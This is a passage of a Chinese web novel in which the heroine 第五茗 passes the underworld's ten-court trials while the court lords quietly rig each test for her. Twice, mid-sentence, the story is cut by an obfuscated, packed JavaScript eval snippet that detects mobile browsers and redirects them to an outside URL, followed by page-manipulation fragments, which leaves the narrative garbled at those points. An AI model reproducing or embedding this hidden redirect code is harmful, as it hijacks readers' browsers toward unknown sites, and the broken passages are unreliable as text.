第五茗没有不好意思,双手接过,道:“多谢殿下,你我恩怨,算是在这殿试和一张符纸上了清了。” 她瞬息离开前,贺忠由心夸赞道:“硬气,有力,上君,强啊!” 哪有这么夸人的… 还是夸一个女子。 一点也不好听! 但第五茗心里是高兴的。 连带到了第七殿,都没了畏惧接下来殿试的情绪。 轻轻松松,好似到此一游。 第五茗越过重重鬼影,步调轻快,连一旁忙碌的鬼差和第七殿审判都没去招呼,直直入了第七殿的判罚殿。 第五茗声音洪亮地招呼道:“贺孝殿下,我来过殿试了。” 堪堪十字,铿镪顿挫,贺孝身子不稳,倒后,陷入了榻上成山的头骨中。 一颗圆润的狸猫头骨,掉下软塌,咕噜噜滚到了第五茗脚边,她捡了起来,同周围鬼差点头示意后,走向了榻边。 贺孝的头没从尸骨中钻出来,一只手先攀举高立。头骨中,糯糯软软传出一句话,道:“上君,那不是给你过殿试用的,你还给我。” 95. 十殿试九道小试4 第五茗随手一扔,把狸猫头骨丢了上去。 咯噔咯噔…一阵。 狸猫头骨滚了滚,稳稳停在了榻中,贺孝那只手寻声摸了过去,蹑手蹑脚确认后,在尸骨山下捏了一个诀,陡然站到了第五茗身后。 他竟是为了榻上的尸骨不会坍塌凌乱,费了劲儿,从下面直接施法遁出。 第五茗白眼斜视,无语道:“贺孝殿下,你这么宝贝这些东西,我可怎么过第七殿的殿试?你不会没给我准备吧!” 贺孝后退两步,与第五茗拉开距离,双手扶正脸上的面具,嘟囔道:“怎么会,早早得了信,便遣他们去外面捡了一个头骨回来。” 第五茗安心道:“那就好。” 第七殿的测试,便是和腐化后的尸骨有关。 一般选取石化后的头骨设为殿试,小鬼若是能将汲取整具身体精华的头骨单掌劈开,就具备破精气的能力。 不多时,三十几名鬼差抬来了一具兽头。 模样森森,千疮百孔,数丈之高。 第五茗双目瞪大,惊道:“第七殿随便出去捡的?” 贺孝一本正经道:“嗯,我是这么吩咐的。” 第五茗紧张道:“所谓“出去”,该不会只是出了第七殿吧?” 贺孝纠结道:“自然,我殿中的人,都不常出门的。” 第五茗脸色青白道:“好好好…你们殿的人都厉害,出去…竟能随随便便捡了地狱中的恶兽骨来,真是妙极了…” 上古恶兽,钢筋铁骨,当初绞杀时,天界派了成千上百的仙君,她如今小鬼身,幽魂一副,如何能徒手单掌劈开这种东西的头骨。 第五茗心里怨道:第七殿是最好欺负的?!谁他狗屁传的谣言!!! 试问有谁敢去地狱抬上古恶兽出来欺辱…这分明胆子和魄力都不小啊!! 她恶狠狠剜了一圈在场之人,贺孝视线与她对撞,浑身很明显地震了震,其他鬼差无一例外,被她目光震得发怵,纷纷寻着身旁的东西躲藏。 抬头骨的鬼差,更是不知者无畏,爬进了头骨中。 第五茗:“…” 她长叹一口气,道:“贺孝殿下,将他们遣走吧,我要劈头骨了。” 贺孝点点头道:“哦…好的。” 他未出声吩咐,挥了挥衣袖,殿内的鬼差四散,积极地撤了下去。如同见了鬼一样,脚下无声,速度极快,慌不择路,一点礼节都不讲。 然而,单手劈上古恶兽头骨的事,并未像第五茗想象的那么难。 她手掌刚靠上骨面,整个头骨变化为两半,轰然倒地。 尘土落下,第五茗清晰看见对面举着通冥牌,脸上面具粉碎,一点一点掉落,举足无措的贺孝,僵硬身子,和她一样,站在两瓣头骨的中间。 第五茗抿唇苦笑道:“我竟是忘了,贺孝殿下天生神力,只是胆子小了些而已。” 贺孝面色羞红,抬起一手,遮挡在脸上,难受道:“我…我面具碎了。” 第五茗轰然笑了起来,无意间注意到贺孝手中那一方通冥牌,道:“殿下还是先别在意你那副面具了,你我方才合力劈开头骨,你倒是瞧一瞧我的通冥牌内,魂气可是足了?” 贺孝挡脸的手没有放下,他把第五茗的通冥牌拿近面前,探查后,道:“有的,上君殿试是过了…我的面具…没了,我说不要来插通冥牌,他们非让我亲自来…我…我的面具…” 第五茗呢喃道:“过了啊…” 摇摇头,她继续道:“我立马走,判罚殿没有外人,殿下也不用找面具了。” 转身向上行下沉梯走去。 刚走了两步,第五茗身子一轻,耳畔远远传来一句,“上君说的有道理,你走了…我便不用找面具了…你现在走路,走得太慢了点吧…” 啪~ 第五茗从天而降,整个人重重砸在了第八殿的判罚殿中。 脸埋地里,四肢大张,她活生生地,在地上被迫写了一个“大”字。 须臾,头顶传来一阵又一阵的爽朗笑声,紧接着,几滴冰凉的液体落在她身上,慢慢地,她因跌落破碎的魂体,逐渐缝合修复好,她身上的疼痛缓缓淡了下去。 嗒。 一个响指,第五茗半躺在了十殿阎罗判罚殿中都有的那方榻上。 “哈哈哈哈哈哈…” 殿中只有一人,那人还在笑。 适才的笑声,俱来自这一人。 第五茗苦大仇深道:“贺节殿下,你若是再继续笑,等我飞升回去,信不信我第一个来找你。” 贺节敛了笑意,递上一只玉瓶,道:“本君信,但上君何时能飞升呢?” 第五茗不语,怒火中烧,眼神狠厉。她想别开头,奈何那里还没接好,她转不动脖子,只能把眼睛转到了一边。 贺节倒是没有同第五茗置气,上前拂袖,将玉瓶转到了第五茗眼前,道:“本君千年内只得了这七八滴,全赠与上君了。里面还有两滴,上君张张嘴,本君帮上君饮下,方可以尽快帮上君恢复身体。” 幽幽地,他正经道:“过了殿试,指不定上君做了鬼差,真能因此回归仙位呢?到时候岂不是本君潇洒日子到头了,这第八殿又要常常多一身影,想到此处…头疼啊。” 顿了,他退避三舍,作态道:“他们都不敢招惹上君,本君自然应当避让三分的。” 见好就收,第五茗耸耸鼻子,把眼睛转了回来,张开了嘴,由贺节引出那两滴新生水喂了进去。 贺节收捡好玉瓶,退后两步,突然揖礼赔罪道:“贺孝想来没有恶意…” 第五茗打断他的话,道:“我是那么小气的人吗?” 贺节松了姿态,笑道:“自然不是,总要得上君这番话,才好叫本君知道上君有没有生贺孝的气。” 第五茗急眼道:“你!!” 呃…又来这死出!! 她脖子终于可以动了,朝殿内其他地方看了看,故意嘀咕道:“这贺孝,竟是直接将我送来你的判罚殿,看来他没少与你第八殿走动啊。这么熟悉贺节殿下的判罚殿,声势浩大地送我一程…不知是该是感谢,还是该有点别的想法,我这身上可是疼死了…” 贺节道:“上君又来了,刚刚才说了不生气的,怎能前后不一呢。” 这一会儿,第五茗身体总算是基本恢复了,她站起身,哼道:“那贺节殿下为何要再度心口不一呢?” 一句陈述,一句反问。 陈述那人,并不是为了得到对方的答案,反问这人,却是存了心,希望他的心意能昭然众知。 尤其是能让第七殿的那位当事人知晓… 贺节轻轻笑了笑,转移话题道:“上君身体好了,便快些随本君去过殿试吧。” 一样的习惯,不喜人多,不喜深交,却是不一样的心地。 这两兄弟…哎,算了,泥菩萨过河,先保自身。 他两不过是性格使然…有的是时间,互见对方心意。 第五茗想着想着,不知不觉,脑海中想起了宋世平和杨战息:可能亲兄弟之间,都是这般别扭,又处处想着对方的吧… 这行为,她想不明白,太令人费解了,也没能力和精力再去多管闲事。须臾,脚下已跟贺节到了殿试之地。 贺节不同于贺孝,他们一母同胞,一人柔弱娇气,心思深沉,一人天生神力,心智简单。 比起贺孝有徒手之力,贺节所修,只能借助巧劲儿。 故而,贺孝擅枪。 长枪□□,均使得出神入化。但论技巧,不论法力的话,贺孝当是可与风有情一比。 所以,第八殿殿试,是接尖枪。 惯常,枪尖之下,断定小鬼气数。一枪贯出,顶于小鬼脖颈喉脉,不破不穿,小鬼方为可造之才,能收集魂气,淬炼魂命。 第五茗这一枪,有些不同,是两端都尖锐的双头枪。 贺节一枪推来,没等她回过神,枪杆从中爆裂。她与贺节脖颈间都有一个灰印。 贺节手持通冥牌,声音低哑道:“恭喜上君,第八殿试,通过。” 这一小会儿,新生水的作用还在继续,第五茗脖子上的印记已经没有了,贺节的那处却越来越大… 第五茗不禁凝眸打量,道:“刚刚的殿试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878724|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,殿下怎么会受伤?” 贺节蹙眉,一掌遮掩脖子上的痕迹,故作轻松道:“估计是上君魂体刚毅,方才枪体爆裂时,误伤了本君。” 那伤口分明是法力所致,第五茗现下哪有那本事。 第五茗疑道:“贺节殿下,你真是满嘴违心话,就不能实诚点…啊!!贺节!!!你们两兄弟真是一模一样,也不知道跟谁学的,施法前不能打声招呼吗?!!” 受伤的事,贺节答不上来,他眼下唯一的办法,便是将手无缚鸡之力的第五茗尽快送走… 因此,第五茗话吐到一半,在他的法诀中,瞬息到了第九殿。 不得不说,这两兄弟或许是有那么一些心有灵犀,连送人,都是直接送到终点。 论法力,贺节虽不是最强盛的,但运用起来,倒是比贺孝好上千倍万倍。 第五茗稳稳地落在第九殿的判罚殿内。 立刻,殿中鬼差窸窣围了上来,瞧清是第五茗后,嘴里问了一句好,各自回了各自的位置。 爽朗的笑声,从石屏后传了进来,第九殿殿主贺勇同此间审判,一前一后走入。 第五茗抱手道:“见过贺勇殿下。” 贺勇脸色一顿,保持住热情,袒袒大方道:“刚送走了帝君和仙君们,居然迎来了上君,哈哈哈哈…今儿真是热闹。” 他的异常,第五茗看在眼里,尴尬地笑了笑道:“是啊…” 贺勇笑着笑着,实在绷不住,哀默不止。他道:“若是上君走梯道,本君定是能再喝几壶酒,哎…又得有十天半个月,尝不到酒味了,唉…” 第五茗不解道:“怎么会呢?是发生何事了吗?贺勇殿下又受伤了?不对不对…照殿下这话,是马上会受伤?是要出任务?” 她的关心,并没有让贺勇好受多少,仿佛将贺勇的心头事击上了几回。 只见贺勇摇了摇头,深深看了第五茗几眼,幻出一根蒙眼布巾,无力道:“速战速决吧,上君,我们去过殿试。” 第五茗安慰不到人,不好再继续困扰贺勇,应和道:“好的…” 第九殿试,说来有些搞笑,也是一道魂体测试。 挨飞刀。 浑身挨受千刀万仞,犹如徒手接一只刺猬,当小鬼身体被插满利刃,却不碎,便能通过此道测试。 有所不知,如此折磨小鬼,并非贺勇的本意,而是因为一群恶鬼… 走到第九层阎罗殿,说明离十八层地狱越来越近,这第九殿,又是专门收押犯事小鬼的地方。 因关押恶鬼,此殿最为森严,鬼差需不断巡逻戒备。 尤其,那条关押恶鬼的牢狱路,是巡逻时,最为难走的一条道,恶鬼的利爪会伸出栅栏,阻拦一切从他们面前自由通行的生灵。 所以,第九殿招进来的鬼差,便要求鬼差筋骨坚硬异常,若是太脆弱,指不定从牢狱路走一遭,便会丧生于恶鬼爪下。 轻者,巡视一圈,也可谓是如同挨了千刀,因而,应征鬼差之体,必须能抵抗住利刃穿肤之痛。 簌簌簌… 第五茗只能听见耳边有无数东西穿透的声音,身上却是没有挨中一刀。 最后一声中,第五茗终于挨了一刀… 然而,那飞刀小小一只,刀刃未开,击上第五茗后,哐当一声,落在了地上,和其他飞啸而过的刀刃不一样,那些有破皮入骨的声音,没有落地的坠击响动。 思索起先前贺勇的话,第五茗试探地喊道:“贺勇殿下?” 冷不丁地,贺勇不防第五茗会叫他,随口应了一声,“嗯”。 第五茗一怔,歪头,寻声侧向一方,问道:“你怎么在我的殿试里?你这是做什么?” 说完,她便要伸手去揭开眼前的布条。 那厢,贺勇见事情败露,破罐子破摔,咬牙隐忍疼痛,手上施法,咒出瞬息诀,嘴上张口道:“恭喜上君,通过第九殿试。” 遮眼布扯下,哪还有贺勇的身影,第五茗眼前已然换了一副场景。 前面九殿的殿试,霎时,涌进她的脑中…她越回忆,越觉不妥,越回忆,越盘算出一些不正常的地方。 96. 十殿试九道小试5 总而言之,第五茗都走到第十殿了,方琢磨明白前面九试,除了第一殿的孽镜台,后续第二殿的上刀山,第三殿的下火海,第四殿的趟油锅,第五殿的走钉板,第六殿的碎大石,第七殿的开头骨,第八殿的接尖枪,第九殿的挨飞刀,都有问题… 太简单了。 贺仁一贯不正常,神经兮兮的,她能理解。贺义、贺礼、贺智、贺信、贺忠、贺孝、贺节、贺勇…莫名其妙均多多少少在她殿试时,露了身影,或是直接消失不见… 不用想,她也知道,他们不寻常的举动,皆是为了在她的殿试上做手脚… 第五茗苦思冥想,心中得了一个答案:她作弊了?! 阎罗殿主考官所为!!! 抱着这个想法,她打算找最不怕“结仇树敌”的贺和,详细打探一番…他们十人为何要帮她过十殿试!! 好家伙… 好心计!! 贺和遁了… 在第十殿迎接她的,不是贺和,而是那永远一问三不知的第十殿审判。 第五茗的脚,刚在第十殿的审判殿站稳,第十殿审判塞给她一根锣锤,五只小鬼架举了一面第十殿都快装不下的铜锣。 又有十名鬼差,用木架抬来第十殿长睡不醒的吉祥物——猛狮。 猛狮但凡入睡,一般不会轻易醒来。其醒后的第一声吼,惊天地、泣鬼神,能帮没有功德本事的小鬼糅合魂气。 锣锤震音,猛狮淬魂,第十殿殿试,正是鸣锣醒狮。 第十殿负责看管猛狮,通常为了避免挑战十殿试而去修魂命的小鬼太多,第十殿便只准备了脸盘大小的铜锣,将应试鬼魂过试的难度增加。 等等!不对!!! 那是一头睁了眼、绑了嘴的“醒狮”??? 见状,第五茗愣在原地,不明所以,目瞪口呆,手足无措。 照常来说,不仅猛狮难醒,那十殿试应当是一道更比一道难才对。 不仅如此,有些时候,还需看各殿殿主和审判的心情,因此这条路,大多数小鬼不会轻易尝试。应征鬼差一事,自然而然,在众鬼魂和三界流传度不高,非得像埭骰埭桡那样既有功德,又有机遇,方会留下走捷径上任,或是来此试一试。 没给第五茗反映的的时间,审判像被施了法,木木地上前行礼,左招手,右招手,道:“上君,请鸣锣,醒狮,惊魂。” 他一串动作,和一句不足十字的话,仿佛排练了许久,让初次见此情形的人,只觉荒唐! 自然,第五茗也是这种想法。 第十殿众人如此“明目张胆”地作弊,倒是让她不知道该怎么去回应。她眼没动,手没动,脚没动,甚至连一路的疑问都问不出口了。 见第五茗呆愣,第十殿试进展受阻,第十殿审判有条不紊,指挥众人,吩咐道:“上君,抬手。” 第五茗抬手了。两只鬼差从别出飘出,一人扶起了她的一只手。 见鬼了!! 这还是在过十殿试吗?!! 终于第五茗有了反应,她眼睛动了,不过是,睁得更大了一点。 第十殿审判,环顾一圈,视线点数,继续道:“上君,鸣锣。” 这话,一点都不像是说给第五茗听,瞧第十殿审判的模样,仿佛是在吩咐除第五茗以外的鬼差,立刻执行。 不然,那面巨型铜锣动了… 对的,没看错,是铜锣动了,不是第五茗动了。 那话,还真是对其他人说的… 噹!!!!! 第五茗的手算是也动了,锣锤从她手中重重的掉了下来,扶她双手的鬼差双双退走,抬巨锣的鬼差,在锣音的震荡中,艰难地也退了下去。 突然,第十殿审判大喊道:“上君,醒狮。” “嗷呜~” 猛狮嘴被绑得太久,嘴上禁锢解开,那声音发出来时,它的叫声已然在胸腔内变了味。 “…” 殿内众人均是一怔。猛狮埋下了头,呜呜咽咽低鸣,假装昏睡了过去。 “…” 第五茗僵硬的身子,再次有了一点点变化,她脚下虚软,朝猛狮的方向踟蹰了两步。 幸好,第十殿的鬼差都机灵着,先一步回过神。 那方,审判在第五茗身后道:“上君,惊魂。” 第五茗急忙道:“等一下!!” 哪能她说等一下就能等一下的,这一套流程,没劳她动过一次,更别说最后收集第十殿魂气这一步。 第十殿审判径直向前,几十名鬼差分工分行,几十人抬起猛狮的头,几十人掰开了猛狮的嘴,不顾它还在别扭,将通冥牌扔了进去。 咕咚~ 猛狮肚囊微微发光,渐渐地暗了下去,魂气合为魂命,猛狮精力耗完,垂头昏睡。 忽而,第五茗身体有了变化,如同凡人,气色渐渐红润,不像鬼魂那般模样惨淡,身姿轻盈,也不似鬼魂那般笨重,却又不似凡人,她仍有鬼魂该有的特质,无影,飘荡。 通冥牌在猛狮肚中,只待第十殿审判打开猛狮身上的结界,便能取出第五茗带有魂命的通冥牌。 回过神,第五茗讪讪地,一件事一句话,问道:“你们十殿在搞什么鬼?” 第十殿审判疑惑道:“上君说的是哪只鬼?” 还能是那只鬼!!自然是你面前站的这一只啊!!! 白问… 第十殿审判这么答回来,说明他不会答。 第五茗心下了然,知道问不出一个所以然,于是便没有纠结这个问题,又道:“你们十殿在帮我过十殿试?” 这问,第十殿审判知道。 他实诚道:“没有。第十殿的殿试,殿下如何安排,我们就如何做,没有帮与不帮之言。” 好干脆… 却同第一问一样,听在第五茗耳里,好似没回答。 “…” 第五茗额角抽搐,道:“算了,找你问不明白…你们殿下呢?” 第十殿审判答道:“殿下陪同帝君和一众仙君去地下清点鬼数了。” 这里的地下,是地下的“地下”,十八层地狱。 平日里,鬼差不吓鬼时,都称呼十层阎罗殿之下的地方为“地下”,因他们怕说多那个名字,会把自身说去那方地儿。 第五茗声音不小道:“和他们在一起??” 应声,第十殿审判吃惊地侧头看了过来,第五茗见状,掩藏心思,尴尬地笑了笑,找补道:“没事没事…太久没听见仙友的名字,难免激动了…” 第十殿审判颔首,神色恢复正常。 第五茗不安地扫了一圈第十殿的众人,见没有异样,嘀咕道:“贺和把我扔给你们,太不道义了,居然自己捡了最轻松的事做…” 紧接着,她声音小小地,还抱怨了句,道:“没想到,他们竟也在这一殿,太近了…” 与此同时,第五茗的殿试了结,鬼差们也松懈下来,叽叽喳喳,不断攀谈道:“为什么不取通冥牌?” “上君在和上官聊什么呢?” “他们?” “谁啊?” “上君认识的不是鬼就是仙,还能是谁…” “有道理!” “…” 只有第十殿审判,离她最近,听见了她的第一句吐槽,不甘地辩解道:“上君,你这话不对…我们殿下没有逃。殿下有重要的事,急需同帝君商议。上君在第十殿试的相关事宜,殿下也都安排妥当了才离开,并没有像上君说的那样。殿下没有捡最轻松的活去做,自我认识殿下以来,殿下都不怕麻烦,甚至愿意主动承担最艰难的活儿…” 第五茗满头黑线,“哦”了声,第十殿审判没有停下来的打算,第五茗点头如捣蒜,截断他的话道:“是是是,是我刚刚嘴快,说错了,说太大声了…” 第十殿审判停了下来,委委屈屈道:“我们殿下真的好…” 第五茗附和道:“我不是认错了吗?下次我再说他坏话一定不让你听见。” 拍了拍第十殿审判的肩膀,第五茗继续道:“好了好了,别伤心了,我知道你们十殿各审判对自家殿主最是忠心。不过,你下次表忠心,记得要当着贺和的面啊。” 第十殿审判激动的心情冷静没多久,只听进了第五茗最后两句话,蹙眉不安道:“上君?你下次要当着殿下的面说坏话?” “啊?!”第五茗退后两步,摇头道:“我有那么蠢吗?我现在打不过贺和的…我有笨到要去贺和面前挑衅??我有病吧!!” 第十殿审判道:“那就好,上君…还是少说话吧。” 他一脸嫌弃,一副第五茗“真有病”的神情,周围瞧热闹的鬼差,此时也大差不差,表情俱是大同小异… 看到这里,第五茗莫名地觉得委屈啊… 转念,想起方才听了鬼差的话,想到那群仙还在冥界地府。 避免碰上,她转移话题,向第十殿审判索要道:“审判,要不你先取了通冥牌给我,我上任后再来找贺和殿下叙旧。” 第十殿审判脸色缓和,语气却有些不快,道:“上君且等等,可先在此歇歇脚。” 架子上,猛狮含了通冥牌,通了禁制,昏睡中的模样十分难受,面目狰狞,仿佛在说:怎么还不把肚子里的东西掏走!硌死了!! 第五瞧了一眼猛狮肚囊,问道:“为何?” 第十殿审判毫不掩饰,直言道:“不是什么大事。主要是我就算此时把通冥牌取出来给上君,也不知道应该将上君派遣至何处,需得上君在第十殿等候片刻,等我们殿下回来后,由他为你指派去处。” 前有十殿作弊事,第五茗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882509|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得不谨慎,拔了一根狮子毛,心有疑虑,问语连珠,道:“通常这事不都是你在做主吗?怎么此次要劳烦贺和殿下?他的那些麻烦事能忙过来吗?别到时候等他回来了,我的二十五年阳寿都没了。再说了…冥界地府在人界安插鬼差,不应该是哪里缺人手就去往哪里吗?怎么现在有如此多要求了?” 五问之下,其实问的都是一个意思。 第十殿审判虽一问三不知,可却是个聪明的,他道:“正常是这样,可是上君不同。” 正常? 我不正常?! 第五茗扔了狮毛,俯身打量了自己鬼身一番。 此次入鬼门关,她形貌穿着,皆是有史以来最正常的。 她微微眯眼,道:“我有何不同?” 这一问,第十殿审判答得如流,并答出了第五茗一直没注意到的东西。 第十殿审判道:“上君是历劫之身,身上协配通阳太明之印,下官不知道你是有什么大任务在身呢?还是其中有什么缘由,这差事当真是不能胡乱安排,我们殿下也是慎重起见,方去细细查看如今鬼差的可派之处,斟酌商议之后,才能安排上君的去处。” 第五茗又拔了一根狮毛,狐疑道:“通印?” 她心中暗忖:我贴身收在怀里的,这审判怎么知道的? 通印…闪动了? 她扔了狮毛,低头朝胸口看去,那里什么也没有,平平整整,连衣襟都没乱一分,奇异的光泽,更是没有。 不禁,她重新拔了一根狮毛,在手里蹂躏,嘴里嘀咕道:“你怎么知道的?如何在我身上看出来的?我都未曾现于众人,这身衣裳,可是从孟婆玉袍里节省而下的布料…” 另一只手不自觉抚上腰间的乾坤袋,袋子底部有些若隐若现的金光,第五茗自言自语的道:“乾坤袋…难道是猜的…” 猜天界宝贝好说,怎么能猜到泰山仙府去呢… 通冥牌内说小话了?!! 也不对啊,那九人是肉身飞仙,不该出现在通冥牌内… 难道是隗七?? 不对!!!他身份使然,雨无伤也说过,通冥牌内,官越高的越不会在里面说几句话…更何况是他… 审判再不搭话,第五茗估计能想到天涯海角去,然后,再一一否定。 幸好,这次审判主动了一回,他提醒道:“上君…不是你右侧腰间乾坤袋里发金光的宝贝,是挂在左侧腰间的通印坠子。” 第五茗喃喃道:“啊…左侧啊…谢谢哈,谢…左侧我没系东西…啊!!!!” 她攀上了那块熟悉得不能再熟悉的通阳太明之印,拽了两下,没扯下来,扔了手上的狮毛,双手去解,边解边尴尬道:“我何时在腰间挂上的…它怎么在这里!绳结上是谁施的法术…解不开呢…” 所谓一问三不知,并不是不答,而是要么说“不知道”,要么不该他回答,他却应了声。 此时,审判正是如此做的。他道:“下官不知道。” 很好…很好!! 第五茗双手在腰间越解越毛躁,在审判的回答中,她胸口怒火顿烧,双手抽回,在猛狮身上拔下了一大戳毛… 嗷呜—— 它低叫一声,又趴了回去。 她手上揉搓,声音高过猛狮,大吼道:“没事挂出来做什么!!谁?!!难道这通印还能自己长腿!!!我在地府不够招摇吗?!是谁!竟背着我干这种缺德事!!!” 噔———— 她脑中恍过一片衣角,一个后脑勺,一缕秀逸发丝… 第五茗心中震喊道:孽镜台!! 隗七…啊… 她的动作,让通印彻底从裙褶中全部展露,殿内的鬼差眼含羡慕,伸头张望,嚷嚷道:“那就是通印吗…” “冥钱黄纸上的神力都那般大,那这通印,岂不是无法估量?也不知拿到手中是什么感觉?” “上君这是在干什么…” “通印系上后就解不开吗?上君怎么扯不下来了…” “我情愿戴一辈子,多好的宝贝啊。” “不太好吧,太招眼了。” “就是要别人看见才好!” “对对对,你看上君的十殿试过得多轻松,听说…前面九殿,除了第一殿,其余几殿的殿下,均受殿试残害和反噬,伤重到不能见人…” “???” “啊?” “啊?!!” “…” “为什么?” “你偷摸去通冥牌内听一听便知道了…” 鬼差的声音不小,第五茗全听见了,虽不知道通冥牌内讨论些什么,但第五茗大致能猜到一些。她情难以堪,正准备再薅一把狮毛撒撒气,一只手拦了过来,同时,狮肚上开了一处口子,那只手从里面拿出了第五茗的通冥牌。